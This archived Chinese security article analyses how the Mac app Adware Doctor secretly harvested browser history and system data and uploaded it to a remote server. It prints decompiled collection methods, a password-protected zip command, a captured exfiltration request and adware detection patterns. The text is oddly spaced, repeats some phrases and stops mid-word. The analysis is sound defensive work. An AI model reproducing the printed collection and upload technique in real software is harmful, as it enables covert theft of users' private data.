搜索

[13181] 2018-09-13_被指向中国发送数据，MacAppStore下架排名第一的付费安全软件

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-09-13_被指向中国发送数据，MacAppStore下架排名第一的付费安全软件 被 指 向 中 国 发 送 数 据 ， M a c   A p p   S t o r e 下 架 排 名 第 一 的 付 费 安 全 软 件 F r e d d y   F r e e B u f   2 0 1 8 - 0 9 - 1 3 前 言 前 言 近 日 有 外 媒 报 道 ， 近 日 有 外 媒 报 道 ， M a c   A p p   S t o r e 中 付 费 安 全 软 件 中 排 名 第 一 的 中 付 费 安 全 软 件 中 排 名 第 一 的 A d w a r e   D o c t o r 被 研 究 人 员 发 现 在 未 经 用 户 同 意 被 研 究 人 员 发 现 在 未 经 用 户 同 意 的 情 况 下 收 集 浏 览 历 史 ， 并 将 数 据 发 送 至 位 于 中 国 的 服 务 器 ， 之 后 被 的 情 况 下 收 集 浏 览 历 史 ， 并 将 数 据 发 送 至 位 于 中 国 的 服 务 器 ， 之 后 被 M a c   A p p   S t o r e 下 架 。 下 架 。 在 被 下 架 之 前 ， A d w a r e   D o c t o r 是 一 款 广 受 用 户 欢 迎 的 安 全 应 用 ， 旨 在 保 护 用 户 的 浏 览 器 免 受 广 告 软 件 和 恶 意 软 件 威 胁 。 国 外 研 究 人 员 解 构 了 此 次 发 生 的 下 架 事 件 的 前 因 后 果 。 A d w a r e   D o c t o r 在 A d w a r e   D o c t o r 的 宣 传 中 ， 它 是 M a c 用 户 抵 御 各 种 常 见 广 告 软 件 威 胁 的 “ 最 佳 应 用 ” ： 在 M a c   A p p   S t o r e 中 ， 这 款 应 用 程 序 非 常 受 欢 迎 ， 在 最 畅 销 的 应 用 程 序 中 排 名 第 四 ， 因 此 连 苹 果 M a c   A p p   S t o r e 网 站 都 列 出 了 它 的 信 息 ：
在 “ 付 费 实 用 工 具 ” 分 类 中 ， A d w a r e   D o c t o r 排 名 第 一 ： 事 件 解 构 事 件 解 构 研 究 人 员 使 用 静 态 分 析 （ 反 编 译 ） 和 动 态 分 析 （ 网 络 监 控 、 文 件 监 控 和 调 试 ） 的 方 法 对 这 款 应 用 程 序 进 行 了 研 究 ， 以 下 是 过 程 和 结 果 。 首 先 ， 研 究 人 员 从 M a c   A p p   S t o r e 下 载   A d w a r e   D o c t o r ， 确 认 该 应 用 程 序 （ 与 M a c   A p p   S t o r e 中 的 所 有 应 用 程 序 一 样 ） 由 苹 果 正 常 签 发 ：
启 动 应 用 程 序 ， 观 察 到 它 通 过 H T T P S 发 出 各 种 网 络 请 求 。 例 如 ， 连 接 到 a d w a r e r e s . s e c u r e m a c o s . c o m 通 过 G E T 请 求 / A d w a r e D o c t o r / m a s t e r . 1 . 5 . 5 . j s ： 如 图 所 示 ， 下 载 的 m a s t e r . 1 . 5 . 5 . j s 文 件 包 含 基 本 J S O N 配 置 数 据 ： 单 击 应 用 程 序 界 面 中 的 “ C l e a n ” 按 钮 会 触 发 另 一 个 到 a d w a r e r e s . s e c u r e m a c o s . c o m 的 网 络 请 求 ， 这 次 下 载 的 是 名 为 c o n f i g 1 . 5 . 0 . j s 的 第 二 个 文 件 ： 这 次 下 载 的 c o n f i g 1 . 5 . 0 . j s 文 件 包 含 更 多 J S O N ， 最 值 得 注 意 的 是 这 款 软 件 的 数 据 库 的 链 接 ： 然 后 是 一 个 看 起 来 很 正 常 的 数 据 库 更 新 过 程 ： { “ d i s a b l e _ r a t e ” ： f a l s e ，     “ d i s a b l e _ p r e s c a n ” ： f a l s e ， “ s k _ o n ” ： f a l s e ， “ f a q _ l i n k ” ： “ h t t p : / / w w w . a d w a r e d o c t o r . c o m / a d w a r e - d o c t o r - f a q / ” } {         “ u p d a t e ” ： t r u e ，         “ v e r s i o n ” ： “ 2 0 1 8 0 8 2 4 3 ” ，         “ u r l ” ： “ h t t p s ： / / a d w a r e r e s . s e c u r e m a c o s . c o m / p a t t e n / f i l e 2 0 1 8 0 8 2 4 3 . d b ” }
研 究 人 员 查 看 了 数 据 库 的 内 容 ， 是 加 密 的 （ 符 合 反 广 告 软 件 / 反 恶 意 软 件 的 做 法 ） ： 使 用 调 试 器 捕 获 应 用 程 序 在 内 存 中 解 密 的 文 件 ， 然 后 转 储 纯 文 本 内 容 ： 这 些 特 征 看 起 来 是 一 款 反 广 告 软 件 ， 并 且 哈 希 值 确 实 与 已 知 的 广 告 软 件 匹 配 ： 例 如 A d w a r e . M A C . P i r r i t ： ( l l d b ) b i n a r y C o n t e n t M a t c h P a t t e n   =   ( {       m d 5   =   (               4 8 a 9 6 e 1 c 0 0 b e 2 5 7 d e b c 9 c 9 c 5 8 f a f a f f e ,               f 1 a 1 9 b 8 9 2 9 e c 8 8 a 8 1 a 6 b d c e 6 d 5 e e 6 6 e 6 ,               3 e 6 5 3 2 8 5 b 2 9 0 c 1 2 d 4 0 9 8 2 e 6 b b 6 5 9 2 8 c 1 ,               8 0 1 e 5 9 2 9 0 d 9 9 e c b 3 9 f d 2 1 8 2 2 7 6 7 4 6 4 6 e ,               8 d 0 c d 4 5 6 5 2 5 6 a 7 8 1 f 7 3 a a 1 e 6 8 e 2 a 6 3 d e ,               e 2 3 3 e d d 8 2 b 3 d f f d 4 1 f c 9 6 2 3 5 1 9 e a 2 8 1 b ,               1 d b 8 3 0 f 9 3 6 6 7 d 9 c 3 8 d c 9 4 3 5 9 5 d c c 2 d 8 5 ,               . . . b r o w s e r H o m e P a g e P a t t e n   =   ( {       n a m e   =   " C h r o m e   h o m e p a g e :   s a f e f i n d e r " ;       p a t t e n   =   " C h r o m e . * f e e d . s n o w b i t t . c o m . * p u b l i s h e r = t i n g n e w " ; } ,               {       n a m e   =   " C h r o m e   h o m e p a g e :   s a f e f i n d e r " ;       p a t t e n   =   " C h r o m e . * f e e d . s n o w b i t t . c o m . * p u b l i s h e r = T i n g S y n " ; } ,               {       n a m e   =   " C h r o m e   h o m e p a g e :   s a f e f i n d e r " ;       p a t t e n   =   " C h r o m e . * s e a r c h w o r d . * / 9 0 / " ; } , . . . f i l e P a t h P a t t e n   =   ( " / A p p l i c a t i o n s / W e b S h o p p e r s " ,     " / A p p l i c a t i o n s / W e b S h o p p y " ,     " / A p p l i c a t i o n s / S o f t w a r e U p d a t e r " ,     " / A p p l i c a t i o n s / w e b s h o p p e r s " ,     " ~ / L i b r a r y / A p p l i c a t i o n   S u p p o r t / W e b T o o l s " , " ~ / L i b r a r y / W e b T o o l s " , " / A p p l i c a t i o n s / W e b T o o l s " , " / A p p l i c a t i o n s / W e b T o o l s . a p p " , " / A p p l i c a t i o n s / S m a r t S h o p p y " ,     " / A p p l i c a t i o n s / S h o p T o o l " , " / A p p l i c a t i o n s / S h o p p y T o o l " , " / A p p l i c a t i o n s / E a s y S h o p p e r " ,     . . . l a u n c h P a t h M a t c h P a t t e n   =   (     " c o m . W e b S h o p p e r s . a g e n t . p l i s t " ,     " c o m . W e b S h o p p y . a g e n t . p l i s t " ,     " c o m . w e b s h o p p e r s . a g e n t . p l i s t " ,     " c o m . S o f t w a r e U p d a t e r . a g e n t . p l i s t " ,     . . .               w h i t e l i s t   =     (     " ~ / L i b r a r y / L a u n c h A g e n t s / c o m . s p o t i f y . w e b h e l p e r . p l i s t " , " / L i b r a r y / L a u n c h D a e m o n s / c o m . i n t e l . h a x m . p l i s t " ,     " / L i b r a r y / L a u n c h D a e m o n s / n e t . p r i v a t e t u n n e l . o v p n a g e n t . p l i s t " , " / L i b r a r y / L a u n c h D a e m o n s / c o m . m i x l r . M i x l r A u d i o L i n k . p l i s t " ,     " / L i b r a r y / L a u n c h D a e m o n s / c o m . m c a f e e . s s m . E u p d a t e . p l i s t " ,     " / L i b r a r y / L a u n c h D a e m o n s / c o m . m c a f e e . s s m . S c a n F a c t o r y . p l i s t " ,     " / L i b r a r y / L a u n c h D a e m o n s / c o m . m c a f e e . s s m . S c a n M a n a g e r . p l i s t " ,     " / L i b r a r y / L a u n c h D a e m o n s / c o m . m c a f e e . v i r u s s c a n . f m p d . p l i s t " , " / L i b r a r y / L a u n c h D a e m o n s / c o m . m i c r o s o f t . a u t o u p d a t e . h e l p e r . p l i s t " , " / L i b r a r y / L a u n c h A g e n t s / c o m . m i c r o s o f t . u p d a t e . a g e n t . p l i s t " , " / L i b r a r y / L a u n c h D a e m o n s / c o m . c r a s h p l a n . e n g i n e . p l i s t " . . .
回 到 A d w a r e   D o c t o r 应 用 界 面 ， 它 已 准 备 好 清 理 用 户 的 系 统 ： 直 到 上 面 一 步 并 没 有 出 现 异 常 ， 但 后 面 对 不 对 了 。 首 先 ， 在 运 行 文 件 监 视 器 （ 例 如 M a c O S 内 置 的 f s _ u s a g e ） 和 对 包 含 历 史 记 录 的 文 件 进 行 过 滤 （ 不 区 分 大 小 写 ） 后 ， 一 些 异 常 的 文 件 访 问 历 史 显 现 出 来 ： 运 行 进 程 监 视 器 （ 例 如 开 源 的 P r o c I n f o 实 用 程 序 ） ， 可 以 观 察 到 A d w a r e   D o c t o r 使 用 内 建 z i p 实 用 程 序 创 建 受 密 码 保 护 的 h i s t o r y . z i p 存 档 ： 使 用 网 络 代 理 监 视 器 （ C h a r l e s   P r o x y ） 捕 获 A d w a r e   D o c t o r 到 a d s c a n . y e l a b a p p . c o m 的 连 接 尝 试 ： 通 过 编 辑 系 统 的 / e t c / h o s t s 文 件 ， 将 此 请 求 重 定 向 到 研 究 人 员 控 制 的 服 务 器 ， 捕 获 到 A d w a r e   D o c t o r 尝 试 上 传 h i s t o r y . z i p 文 件 ： #   f s _ u s a g e   - w   - f   f i l e s y s t e m   |   g r e p   " A d w a r e   D o c t o r "   |   g r e p   - i   h i s t o r y A d w a r e   D o c t o r . 4 4 1 4 8     o p e n     ~ / L i b r a r y / A p p l i c a t i o n   S u p p o r t / < b > C a l l H i s t o r y T r a n s a c t i o n s < / b > A d w a r e   D o c t o r . 4 4 1 4 8     o p e n     ~ / L i b r a r y / A p p l i c a t i o n   S u p p o r t / < b > C a l l H i s t o r y D B < / b >                                                                                                                                                                                                                                   A d w a r e   D o c t o r . 4 4 1 4 8     R d D a t a [ A ]     / d e v / d i s k 1 s 1 / U s e r s / u s e r / L i b r a r y / S a f a r i / < b > H i s t o r y . d b < / b > A d w a r e   D o c t o r . 4 4 1 4 8     l s t a t 6 4         / U s e r s / u s e r / L i b r a r y / A p p l i c a t i o n   S u p p o r t / G o o g l e / C h r o m e / D e f a u l t / < b > H i s t o r y < / b > A d w a r e   D o c t o r . 4 4 1 4 8     o p e n   ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y . z i p A d w a r e   D o c t o r . 4 4 1 4 8     l s t a t 6 4         ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / p s C o m m o n I n f o A d w a r e   D o c t o r . 4 4 1 4 8     W r D a t a [ A ]     ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / a p p s t o r e H i s t o r y A d w a r e   D o c t o r . 4 4 1 4 8     W r D a t a [ A ]     ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / s a f a r i H i s t o r y A d w a r e   D o c t o r . 4 4 1 4 8     W r D a t a [ A ]     ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / c h r o m e H i s t o r y A d w a r e   D o c t o r . 4 4 1 4 8     W r D a t a [ A ]     ~ / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / f i r e f o x H i s t o r y #   . / p r o c I n f o p r o c e s s   s t a r t : p i d :   2 6 3 4 p a t h :   / b i n / b a s h a r g s :   (         " / b i n / b a s h " ,         " - c " ,         " z i p   - r   - - q u i e t   - P   w e b t o o l   " / U s e r s / u s e r / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / < b > h i s t o r y . z i p < / b > "   " / U s e r s / u s e r / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y "   >   / d e v / n u l l " ) #   p y t h o n   h t t p s . p y l i s t e n i n g   f o r   f o r   H T T P S   r e q u e s t s   o n   p o r t : 4 4 3 1 9 2 . 1 6 8 . 8 6 . 7 6   -   -   [ 2 0 / A u g / 2 0 1 8   1 0 : 5 3 : 2 4 ]   " P O S T   / 1 / c h e c k a d w a r e   H T T P / 1 . 1 "   2 0 0   - H e a d e r s : H o s t :   a d s c a n . y e l a b a p p . c o m C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = B o u n d a r y - E 2 A E 6 9 0 8 - 4 F C 6 - 4 C 1 D - 9 1 1 A - 0 B 3 4 F 8 4 4 C 5 1 0 C o n n e c t i o n :   k e e p - a l i v e A c c e p t :   * / * U s e r - A g e n t :   A d w a r e % 2 0 D o c t o r / 1 0 2 6   C F N e t w o r k / 9 0 2 . 1   D a r w i n / 1 7 . 7 . 0   ( x 8 6 _ 6 4 ) C o n t e n t - L e n g t h :   1 5 8 1 0 A c c e p t - L a n g u a g e :   e n - u s A c c e p t - E n c o d i n g :   b r ,   g z i p ,   d e f l a t e P a t h :   / 1 / c h e c k a d w a r e A t t a c h m e n t :   ' h i s t o r y . z i p '   ( l e n g t h :   1 5 8 1 0 )
待 上 传 的 “ h i s t o r y . z i p ” 文 件 受 密 码 保 护 ： 回 看 进 程 监 视 器 的 输 出 ， 密 码 被 发 送 到 内 建 的 z i p 实 用 程 序 ： z i p   - r   — q u i e t   - P   w e b t o o l   … 。 密 码 也 被 编 码 到 应 用 程 序 的 二 进 制 文 件 中 ， 因 此 反 编 译 二 进 制 文 件 即 可 获 得 密 码 。 输 入 w e b t o o l 作 为 密 码 解 压 文 件 ： 查 看 解 压 出 来 的 内 容 ， A d w a r e   D o c t o r 在 暗 地 里 收 集 用 户 的 浏 览 器 历 史 记 录 ： 深 入 分 析 深 入 分 析 看 到 这 里 ， 有 三 个 问 题 需 要 解 答 ： 它 如 何 绕 过 M a c   A p p   S t o r e 的 沙 盒 机 制 来 访 问 用 户 的 文 件 ？ 它 如 何 收 集 用 户 的 浏 览 器 历 史 记 录 ？ 它 还 收 集 了 哪 些 系 统 信 息 和 个 人 身 份 信 息 （ P I I ） ？ 从 安 全 和 隐 私 的 角 度 来 看 ， 从 官 方 M a c   A p p   S t o r e 安 装 应 用 程 序 的 主 要 优 势 有 两 点 ： 程 序 经 过 苹 果 官 方 审 查 和 签 发 ； 程 序 在 沙 盒 中 运 行 。 $   c a t   c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / c h r o m e H i s t o r y P e r s o n   1 : h t t p s : / / w w w . g o o g l e . c o m / s e a r c h ? q = i f + i + p u n c h + m y s e l f + i n + t h e + f a c e + a n d + i t + h u r t s + d o e s + t h a t + m a k e + m e + w e a k + o r + s t r o n g   2 0 1 8 - 0 8 - 2 0   2 1 : 1 9 : 5 7 h t t p s : / / w w w . g o o g l e . c o m / s e a r c h ? q = d o e s + y o u r + s t o m a c h + t h i n k + a l l + p o t a t o e s + a r e + m a s h e d     2 0 1 8 - 0 8 - 2 0   2 1 : 1 9 : 3 6 $   c a t   c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y / s a f a r i H i s t o r y h t t p s : / / w w w . g o o g l e . c o m / s e a r c h ? c l i e n t = s a f a r i & r l s = e n & q = W h a t + a r e + t h e + b e s t + i n v e s t m e n t + o p p o r t u n i t i e s + i n + N i g e r i a 1 3 9 7 - 0 6 - 0 2   0 8 : 2 9 : 4 1 h t t p s : / / w w w . g o o g l e . c o m / s e a r c h ? c l i e n t = s a f a r i & r l s = e n & q = W h e r e + d o + l o s t + s o c k s + g o + w h e n + t h e y + g o + m i s s i n g   1 3 9 7 - 0 6 - 0 2   0 8 : 2 9 : 2 0
当 应 用 程 序 在 沙 箱 中 运 行 时 ， 可 以 访 问 的 文 件 或 用 户 信 息 非 常 有 限 ， 应 该 不 能 访 问 用 户 的 浏 览 器 历 史 记 录 ， 但 这 里 A d w a r e   D o c t o r 做 到 了 。 通 过 工 具 （ W h a t s Y o u r S i g n ） 查 看 该 应 用 程 序 的 权 限 ， 包 含 ： c o m . a p p l e . s e c u r i t y . f i l e s . u s e r - s e l e c t e d . r e a d - w r i t e ： 这 项 权 限 意 味 着 应 用 程 序 可 以 请 求 某 些 文 件 的 权 限 ， 并 且 得 到 明 确 的 用 户 批 准 后 ， 对 文 件 进 行 读 / 写 操 作 。 A d w a r e D o c t o r 在 第 一 次 运 行 时 ， 会 请 求 访 问 用 户 的 主 目 录 以 及 下 面 的 所 有 文 件 和 目 录 ： 这 是 通 过 [ M a i n W i n d o w C o n t r o l l e r   s h o w F i l e A c c e s s ] 方 法 实 现 的 ： 在 A p p S a n d b o x F i l e A c c e s s 类 的 帮 助 下 ： /   *   @ c l a s s   M a i n W i n d o w C o n t r o l l e r   *   / -   （ v o i d ） s h o w F i l e A c c e s s   {         r 1 5   =   s e l f ;         v a r _ 3 0   =   [ [ A p p S a n d b o x F i l e A c c e s s   f i l e A c c e s s ]   r e t a i n ] ;         r 1 3   =   [ [ A p p S a n d b o x F i l e A c c e s s   f i l e A c c e s s ]   r e t a i n ] ;         r b x   =   [ [ B S U t i l   r e a l H o m e D i r e c t o r y ]   r e t a i n ] ;         r 1 4   =   [ r 1 3   h a s A c c e s s P r e m i s i o n P a t h ： r b x ] ;         . . .
在 调 试 器 （ l l d b ） 中 ， 观 察 用 户 主 目 录 的 访 问 尝 试 ： 现 在 ， A d w a r e   D o c t o r 可 以 合 法 访 问 用 户 的 文 件 和 目 录 ， 例 如 扫 描 以 查 找 恶 意 代 码 。 但 是 ， 一 旦 用 户 点 击 允 许 ， A d w a r e   D o c t o r 将 具 备 对 所 有 用 户 文 件 的 全 部 访 问 权 限 ， 它 使 用 了 多 种 收 集 系 统 和 用 户 信 息 的 方 法 。 虽 然 某 些 （ 例 如 进 程 列 表 ） 可 能 确 实 是 用 于 反 恶 意 软 件 或 反 广 告 软 件 的 操 作 ， 但 其 他 用 户 信 息 （ 例 如 用 户 的 浏 览 历 史 记 录 ） 违 反 了 严 格 的 M a c   A p p   S t o r e 规 则 。 收 集 方 法 在 A C E A d w a r e C l e a n e r 类 中 实 现 ， 并 命 名 为 c o l l e c t   * ： A d w a r e   D o c t o r   - [ A p p S a n d b o x F i l e A c c e s s   h a s A c c e s s P r e m i s i o n P a t h : ] : - >     0 x 1 0 0 0 0 c e b f   < + 0 > :   p u s h q     % r b p         0 x 1 0 0 0 0 c e c 0   < + 1 > :   m o v q       % r s p ,   % r b p         0 x 1 0 0 0 0 c e c 3   < + 4 > :   p u s h q     % r 1 5         0 x 1 0 0 0 0 c e c 5   < + 6 > :   p u s h q     % r 1 4 ( l l d b )   p o   $ r d i < A p p S a n d b o x F i l e A c c e s s :   0 x 1 0 0 3 7 9 7 b 0 > ( l l d b )   x / s   $ r s i 0 x 1 0 0 0 6 a 1 4 7 :   " h a s A c c e s s P r e m i s i o n P a t h : " ( l l d b )   p o   $ r d x / U s e r s / u s e r
逆 向 一 下 部 分 方 法 逆 向 一 下 部 分 方 法 首 先 是 c o l l e c t S a m p l e 方 法 。 此 方 法 查 询 应 用 程 序 下 载 的 数 据 库 。 看 起 来 它 用 于 寻 找 收 集 样 本 中 指 定 的 文 件 ： 在 调 试 器 中 跳 过 此 代 码 ， 并 检 查 示 例 键 的 未 加 密 值 ： 它 正 在 用 户 的 L a u n c h A g e n t s 目 录 中 寻 找 名 为 c o m . a p p l e . Y a h o o . p l i s t 的 文 件 。 在 搜 索 引 擎 中 搜 索 “ c o m . a p p l e . Y a h o o . p l i s t ” ， 跳 出 的 信 息 与 门 罗 币 挖 矿 木 马 有 关 。 在 V i r u s T o t a l 上 可 以 找 到 相 关 文 件 ， 但 看 起 来 没 问 题 ： c o l l e c t P S C o m m o n I n f o T o F i l e 方 法 。 反 编 译 相 关 文 件 后 得 到 了 字 符 串 和 详 细 的 方 法 名 称 ， 揭 示 了 目 的 ： 可 以 手 动 分 析 这 些 代 码 ， 但 简 单 地 让 它 执 行 并 在 下 一 行 （ 靠 近 函 数 末 尾 ） 设 置 断 点 要 简 单 得 多 ： 请 注 意 这 个 p s C o m m o n I n f o 也 被 e x f i l t 到 a d s c a n . y e l a b a p p . c o m （ 在 h i s t o r y . z i p 文 档 中 ） ： 虽 然 A d w a r e   D o c t o r 获 得 了 通 过 c o m . a p p l e . s e c u r i t y . f i l e s . u s e r - s e l e c t e d . r e a d - w r i t e 权 限 和 明 确 的 用 户 批 准 来 枚 举 用 户 文 件 ， 但 根 据 沙 箱 设 计 ， 它 仍 然 无 法 列 出 其 他 正 在 运 行 的 进 程 。 回 想 一 下 c o l l e c t P S C o m m o n I n f o T o F i l e ， 调 用 以 下 两 种 方 法 ： 方 法 c o l l e c t P r o c e s s L i s t 尝 试 通 过 内 置 的 p s 命 令 枚 举 所 有 正 在 运 行 的 进 程 ： 被 m a c O S 应 用 程 序 沙 箱 阻 止 （ 拒 绝 ） ， 因 为 枚 举 正 在 运 行 的 进 程 （ 来 自 沙 箱 ） 是 “ 禁 忌 ” ： A d w a r e   D o c t o r 使 用 了 c o l l e c t P r o c e s s L i s t 2 方 法 ： 调 用 s u b _ 1 0 0 0 5 1 9 a d 然 后 迭 代 该 函 数 返 回 的 一 些 列 表 ， 调 用 p r o c _ p i d p a t h 。 s u b _ 1 0 0 0 5 1 9 a d 返 回 一 个 进 程 I D 列 表 ： -   （ v o i d ） c o l l e c t S a m p l e   { . . . r b x   =   [ r 1 5   p a t t e n D i c ] ; r 1 4   =   [ r b x   v a l u e F o r K e y ： @ “ s a m p l e ” ] ; （ l l d b ） “ /   A p p l i c a t i o n   /   A d w a r e   D o c t o r . a p p ” . . . p o   $   r a x < _ _   N S A r r a y M   0 x 1 0 7 3 2 b 5 e 0 > （ N A M E   = ` w h o a m i ` ;   e c h o   / U s e r s / " $ N A M E " / L i b r a r y / L a u n c h A g e n t s / c o m . a p p l e . Y a h o o . p l i s t ; ） / *   @ c l a s s   A C E A d w a r e C l e a n e r   * / - ( v o i d ) c o l l e c t P S C o m m o n I n f o T o F i l e : ( v o i d   * ) a r g 2   {         v a r _ 3 8   =   [ a r g 2   r e t a i n ] ;         r 1 4   =   [ [ N S M u t a b l e S t r i n g   a l l o c ]   i n i t ] ;         [ r 1 4   a p p e n d S t r i n g : @ " = = = S y s t e m = = = n " ] ;         r b x   =   [ [ A C E C o m m o n   o p e r a t i n g S y s t e m ]   r e t a i n ] ;         [ r 1 4   a p p e n d F o r m a t : @ " % @ n " ] ;         [ r b x   r e l e a s e ] ;         [ r 1 4   a p p e n d S t r i n g : @ " = = = O S   U p T i m e = = = n " ] ;         r b x   =   [ [ A C E C o m m o n   g e t S y s t e m U p T i m e ]   r e t a i n ] ;         [ r 1 4   a p p e n d F o r m a t : @ " % @ n " ] ;         [ r b x   r e l e a s e ] ;         [ r 1 4   a p p e n d S t r i n g : @ " = = = L a u n c h = = = n " ] ;         r b x   =   [ [ s e l f   r e a d L a u n c h F o l d e r : @ " / L i b r a r y / L a u n c h A g e n t s " ]   r e t a i n ] ;         [ r 1 4   a p p e n d F o r m a t : @ " % @ n " ] ;         [ r b x   r e l e a s e ] ;         r b x   =   [ [ s e l f   r e a d L a u n c h F o l d e r : @ " / L i b r a r y / L a u n c h D a e m o n s " ]   r e t a i n ] ;         [ r 1 4   a p p e n d F o r m a t : @ " % @ n " ] ;         [ r b x   r e l e a s e ] ;         r 1 5   =   [ [ A C E C o m m o n   r e a l H o m e D i r e c t o r y ]   r e t a i n ] ;         r 1 3   =   [ [ N S S t r i n g   s t r i n g W i t h F o r m a t : @ " % @ / L i b r a r y / L a u n c h A g e n t s " ,   r 1 5 ]   r e t a i n ] ;         r b x   =   [ [ s e l f   r e a d L a u n c h F o l d e r : r 1 3 ]   r e t a i n ] ;         [ r 1 4   a p p e n d F o r m a t : @ " % @ n " ] ;         [ r b x   r e l e a s e ] ;         [ r 1 3   r e l e a s e ] ;         [ r 1 5   r e l e a s e ] ;         [ r 1 4   a p p e n d S t r i n g : @ " n = = = A p p l i c a t i o n s = = = n " ] ;         r b x   =   [ [ A C E C o m m o n   f i l e S t r i n g W i t h P a t h : @ " / A p p l i c a t i o n s " ]   r e t a i n ] ;         [ r 1 4   a p p e n d S t r i n g : r b x ] ;         [ r b x   r e l e a s e ] ;         [ r 1 4   a p p e n d S t r i n g : @ " n = = = p r o c e s s = = = n " ] ;         r b x   =   [ [ A C E C o m m o n   c o l l e c t P r o c e s s L i s t ]   r e t a i n ] ;         [ r 1 4   a p p e n d S t r i n g : r b x ] ;         [ r b x   r e l e a s e ] ;         [ r 1 4   a p p e n d S t r i n g : @ " n = = = p r o c e s s 2 = = = n " ] ;         r b x   =   [ [ A C E C o m m o n   c o l l e c t P r o c e s s L i s t 2 ]   r e t a i n ] ;         [ r 1 4   a p p e n d S t r i n g : r b x ] ;         [ r b x   r e l e a s e ] ;         [ r 1 4   w r i t e T o F i l e : v a r _ 3 8   a t o m i c a l l y : 0 x 1   e n c o d i n g : 0 x 4   e r r o r : 0 x 0 ] ;         [ v a r _ 3 8   r e l e a s e ] ;         [ r 1 4   r e l e a s e ] ;         r e t u r n ; } （ l l d b ） p o   $   r d x / U s e r s / u s e r / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t   /   c o m . y e l a b . B r o w s e r - S w e e p e r   /   h i s t o r y   /   p s C o m m o n I n f o $   c a t   p s C o m m o n I n f o = = = S y s t e m = = = V e r s i o n   1 0 . 1 3 . 6   ( B u i l d   1 7 G 6 5 ) = = = O S   U p T i m e = = = 1 h o u r ,   1 0 m i n u t e ,   3 1 s e c o n d = = = L a u n c h = = = / L i b r a r y / L a u n c h A g e n t s / c o m . v m w a r e . l a u n c h d . v m w a r e - t o o l s - u s e r d . p l i s t 4 4 4   r o o t   w h e e l . . . = = = A p p l i c a t i o n s = = = / A p p l i c a t i o n s / D V D   P l a y e r . a p p ( 1 3 9 6 - 0 7 - 2 0   0 2 : 1 1 : 5 5   + 0 0 0 0 ) / A p p l i c a t i o n s / S i r i . a p p ( 1 3 9 6 - 0 7 - 2 7   0 3 : 1 7 : 1 3   + 0 0 0 0 ) / A p p l i c a t i o n s / Q u i c k T i m e   P l a y e r . a p p ( 1 3 9 6 - 0 8 - 1 9   0 2 : 3 1 : 3 0   + 0 0 0 0 ) / A p p l i c a t i o n s / C h e s s . a p p ( 1 3 9 6 - 0 6 - 1 5   0 1 : 2 0 : 2 1   + 0 0 0 0 ) / A p p l i c a t i o n s / P h o t o   B o o t h . a p p ( 1 3 9 6 - 0 4 - 2 5   0 1 : 5 0 : 3 1   + 0 0 0 0 ) / A p p l i c a t i o n s / A d w a r e   D o c t o r . a p p ( 1 3 9 7 - 0 3 - 2 0   0 9 : 5 9 : 2 7   + 0 0 0 0 ) . . . . = = = p r o c e s s 2 = = = p r o c e s s I D                                 p r o c e s s N a m e                           u s e r I D                                     u s e r N a m e                                 c o m m a n d 1 7 5 9                                           b a s h                                         5 0 1                                           u s e r                                         / b i n / b a s h 1 7 5 8                                           l o g i n                                       0                                               r o o t                                         / u s r / b i n / l o g i n 1 7 3 0                                           s i l h o u e t t e                             5 0 1                                           u s e r                                         / u s r / l i b e x e c / s i l h o u e t t e 1 7 0 9                                           m d w r i t e                                   5 0 1                                           u s e r                                         / S y s t e m / L i b r a r y / F r a m e . . . . [ r 1 4   a p p e n d S t r i n g ： @ “   n   = = =   p r o c e s s   = = =     n ” ] ; r b x   =   [ [ A C E C o m m o n   c o l l e c t P r o c e s s L i s t ]   r e t a i n ] ; . . . [ r 1 4   a p p e n d S t r i n g ： @ “   n   = = =   p r o c e s s 2   = = =     n ” ] ; r b x   =   [ [ A C E C o m m o n   c o l l e c t P r o c e s s L i s t 2 ]   r e t a i n ] ; ( l l d b )   p o   $ r d i < N S C o n c r e t e T a s k :   0 x 1 0 7 4 4 1 f 1 0 > ( l l d b )   p o   [ $ r d i   l a u n c h P a t h ] / b i n / s h ( l l d b )   p o   [ $ r d i   a r g u m e n t s ] < _ _ N S A r r a y I   0 x 1 0 0 2 8 5 1 f 0 > ( - c , p s   - e   - c   - o   " p i d   u i d   u s e r   a r g s " ) / b i n / s h :   / b i n / p s :   O p e r a t i o n   n o t   p e r m i 